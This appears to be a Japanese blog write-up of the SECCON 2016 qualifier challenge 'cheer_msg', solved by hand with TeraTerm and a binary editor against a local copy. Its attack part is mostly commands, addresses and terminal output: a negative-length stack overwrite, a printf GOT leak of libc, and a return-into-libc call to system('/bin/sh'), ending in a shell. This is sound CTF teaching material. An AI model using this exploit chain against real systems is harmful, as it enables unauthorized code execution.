(2017/01/24 更新)参考のため、本記事による攻撃手順をpythonで自動化したコードも公開します。
SECCON2016オンライン予選のpwn100 cheer_msgを予選の制限時間内に解けなかったので、復習のために解いてみました。 writeupをググると、皆さんPythonなどスクリプト言語を使って解いているようなので、あえてスクリプト言語を使わずに解く方法を記載してみます。 私のように「IDAで逆アセンブルするのは好きでpwn問題の攻略の原理も分かるけど、スクリプト言語が苦手で手間取っている人」には参考になるかもしれません。
なお、SECCONの問題サーバがいつまで稼働しているか分からないので、ローカル環境のsocatで起動した問題ファイルに対して攻撃することとします。
[解き方の概要]
- IDAやGDBなどを使って問題ファイル「cheer_msg」を解析し、「Message Length」に-144を入力するとEIPを任意に書き換えできることが判明する。そのため、Return-into-libcでシェルを起動を試みる方針とする(本記事では割愛)
- Linuxでcheer_msgを解析し、攻略に必要なアドレスを特定する
- printfでlibcのアドレスをリークさせるための攻撃データその1をバイナリエディタ(Bz)でファイルとして作成する
- 攻撃データをTeraTermの「ファイル送信」で送信する
- TeraTermのログをBzで閲覧し、リークさせたアドレスを確認する
- system関数でシェルを起動するための攻撃データその2をBzでファイルとして作成する
- 攻撃データをTeraTermの「ファイル送信」で送信し、シェルを奪取する
準備
必要なツール
攻略のために、次のものを使います。
- 好きなLinuxディストリビューション(必要なコマンド:socat、ldd、objdump、nm、strings)
- TeraTermポータブル版 ver.4.93
- Bz Editor ver.1.8.4
問題プログラムをローカル環境で起動
問題として提供されたプログラム「cheer_msg」を次のコマンドで実行します。
$socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"./cheer_msg"
これで、ポート番号12345で問題プログラムが起動しました。
また、次のコマンドでローカル環境のlibc.so.6のパスを確認します。
$ldd ./cheer_msg
linux-gate.so.1 => (0xb777d000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7629000)
/lib/ld-linux.so.2 (0xb777e000)
上記の実行結果から今回のローカル環境では「/lib/i686/cmov/libc.so.6」を利用していることが特定できたため、これをコピーし、問題ファイルとセットで取り扱います。
TeraTermの設定変更
TeraTermの標準設定ではうまく攻略できないため、次のように設定変更します。
(1) メニュー「設定」-「端末の設定」改行コード 「受信:AUTO」、「送信:LF」 に変更
(この設定をしておかないと、シェルを奪取した後、コマンドが正しく認識してもらえません。なお、古いバージョンのTeraTermでは送信にLFを設定できないためご注意ください。)

(2) メニュー「設定」-「その他の設定」
「ログ」タブで「自動的にログ採取を開始する」にチェック、 オプション 「バイナリ」にチェック
(printfでリークさせたアドレスなど、送受信したデータをバイナリで確認するため)

攻略に必要なアドレスの特定
printf関数のpltの特定(今回の場合は0x08048430)
$objdump -j .plt -S cheer_msg cheer_msg: file format elf32-i386 Disassembly of section .plt: (中略) 08048430: 8048430: ff 25 10 a0 04 08 jmp *0x804a010 8048436: 68 08 00 00 00 push $0x8 804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x28> (以下略)
main関数のアドレスの特定(今回の場合は0x080485ca)
$objdump -d cheer_msg | grep 'main' 08048490 <__libc_start_main@plt>: 80484cc: e8 bf ff ff ff call 8048490 <__libc_start_main@plt> 080485ca <main>:
printfの引数として利用する書式文字列(%s)のアドレスの特定(今回の場合は0x804888c)
%sの文字列はIDAのStringsで確認する。 [確認結果] .rodata:0804887D 0000001D C \nThank you %s!\nMessage : %s\n 文字列の先頭 + 15文字(0xf)で「Message : %s\n」のアドレスとなる。 したがって、0x804887d + 0xf = 0x804888c
libc_start_mainのGOTのアドレスの特定(今回の場合は0x804a028)
$objdump -j .plt -S cheer_msg cheer_msg: file format elf32-i386 Disassembly of section .plt: (中略) 08048490 <__libc_start_main@plt>: 8048490: ff 25 28 a0 04 08 jmp *0x804a028 8048496: 68 38 00 00 00 push $0x38 804849b: e9 70 ff ff ff jmp 8048410 <_init+0x28> (以下略)
libc.so.6におけるlibc_start_mainのアドレスの特定(今回の場合は0x00016bc0)
$nm -D /lib/i686/cmov/libc.so.6 | grep libc_start 00016bc0 T __libc_start_main
libc.so.6におけるsystemのアドレスの特定(今回の場合は0x000391b0)
$nm -D /lib/i686/cmov/libc.so.6 | grep system 000391b0 T __libc_system 000f3270 T svcerr_systemerr 000391b0 W system
lib.so.6における「/bin/sh」のアドレスの特定(今回の場合は0x1216df)
$strings -a -tx /lib/i686/cmov/libc.so.6 | grep "sh$" e5ad _IO_wdefault_finish eef6 bdflush 10053 _IO_default_finish 10ca0 _IO_file_finish 10f01 tcflush 11349 _IO_fflush 11b1f inet6_opt_finish 11ef25 Trailing backslash 11f478 sys/net/ash 1216df /bin/sh 12354d /bin/csh 143299 .gnu.hash
攻略
TeraTermによる接続
最初に、TeraTermでローカルで起動しているcheer_msgに接続します。
(今回は、IPアドレス192.168.15.131のポート12345番で稼働させています)

「Message Length」に対しては「-144」と入力します。
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >>
「Name」の入力待ちになりました。
アドレスのリーク
printf関数を利用して、libc_start_mainのアドレスをリークさせます。
「Message Length」に-144を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、アドレスをリークした後、再びmain関数に制御が戻ってきます。
-------------------------------------------------- printfのpltのアドレス(EIPに設定されるアドレス) -------------------------------------------------- main関数のアドレス(リターンアドレス) -------------------------------------------------- 書式文字列「Message : %s\n」のアドレス -------------------------------------------------- libc_start_mainのgotアドレス --------------------------------------------------
必要なアドレスは、前述の手順により次のとおり特定済みです。
plt_printf = 0x08048430
addr_main = 0x080485ca
addr_fstr = 0x0804888c
got_libc_start = 0x0804a028
これらのアドレスを記載したファイルをBzで作成します。なお、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。なお、ファイル送信の際は、オプションで「バイナリ」にチェックを付けておく必要がありますのでご注意ください。

文字化けした応答が返ってきますが、再び「Message Length」の入力を求められたことから、無事にmain関数に制御が戻ってきたようです。
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> ?
(
Thank you ?
(![ファイル送信後にEnterキーを入力]
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)
Message Length >>
TeraTermのログファイルを確認したいのですが、TeraTerm起動中はファイルがロックされているため、ログファイルをコピーしたうえで、Bzで開きます。
Bzでログを見ると、2個目の「Message: 」の後に、libc_start_mainのアドレスがリークしています。今回は「0xb7608bc0」でした。(リトルエンディアン形式のため、バイト順が逆になっています)
アドレスの計算
電卓(calc.exe)などを利用して、攻略に必要なアドレスを計算します。
- libc.so.6のベースアドレス = (実行時のlibc_start_main関数のアドレス) - (libc.so.6におけるlibc_start_main関数のアドレス)
= 0xb7608bc0 - 0x00016bc0 = 0xB75C8000 - 実行時のsystem関数のアドレス = (libc.so.6のベースアドレス) + (libc.so.6におけるsystem関数のアドレス)
= 0xB75C8000 + 0x000391b0 = 0xB76011B0 - 実行時のlibc.so.6における文字列「/bin/sh」のアドレス = (libc.so.6のベースアドレス) + (libc.so.6における文字列「/bin/sh」のアドレス) = 0xB75C8000 + 0x1216df = 0xb76e96df
Return-into-libcによるシェルの起動
それでは攻略を再開します。「Message Length」に再び「-144」を入力します。
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> ?
(
Thank you ?
(!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)
Message Length >>-144
再び「Message Length」に「-144」を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、シェルを起動できます。
-------------------------------------------------- system関数のアドレス(EIPに設定されるアドレス) -------------------------------------------------- AAAA(リターンアドレスは不要なため適当な値を設定) -------------------------------------------------- libc.so.6における文字列「/bin/sh」のアドレス --------------------------------------------------
必要なアドレスは、前述の手順により次のとおり特定済みです。
addr_system = 0xb76011b0
AAAA =0x41414141
addr_sh = 0xb76e96df
これらのアドレスを記載したファイルをBzで作成します。繰り返しになりますが、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。
再び文字化けした応答が返ってきますが、この時点でシェルが起動されています。試しに「id」コマンドを入力してみましょう。
Hello, I'm Nao. Give me your cheering messages :) Message Length >> -144 Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> ? ( Thank you ? (! Message : Message : 宣] 警_ 携ello, I'm Nao. Give me your cheering messages :) Message Length >> -144 Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> 萎形AAA?n[ファイル送信後にEnterキーを入力] 茎hank you 萎形AAA?n掘 Message : id uid=1000(attacker) gid=1000(attacker) 所属グループ=1000(attacker),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
無事にコマンドの実行結果が表示されました。
最後に
TeraTermとBzを使うと、スクリプトが苦手な人でもpwn問題に挑戦するハードルが少し下がるかもしれません。ちなみに、ksnctfの「Villager B」もTeraTermとBzと電卓だけで解くことができますので、よろしければ挑戦してみてください。(電卓を使ったアドレス計算のスキルがとても上昇します(苦笑))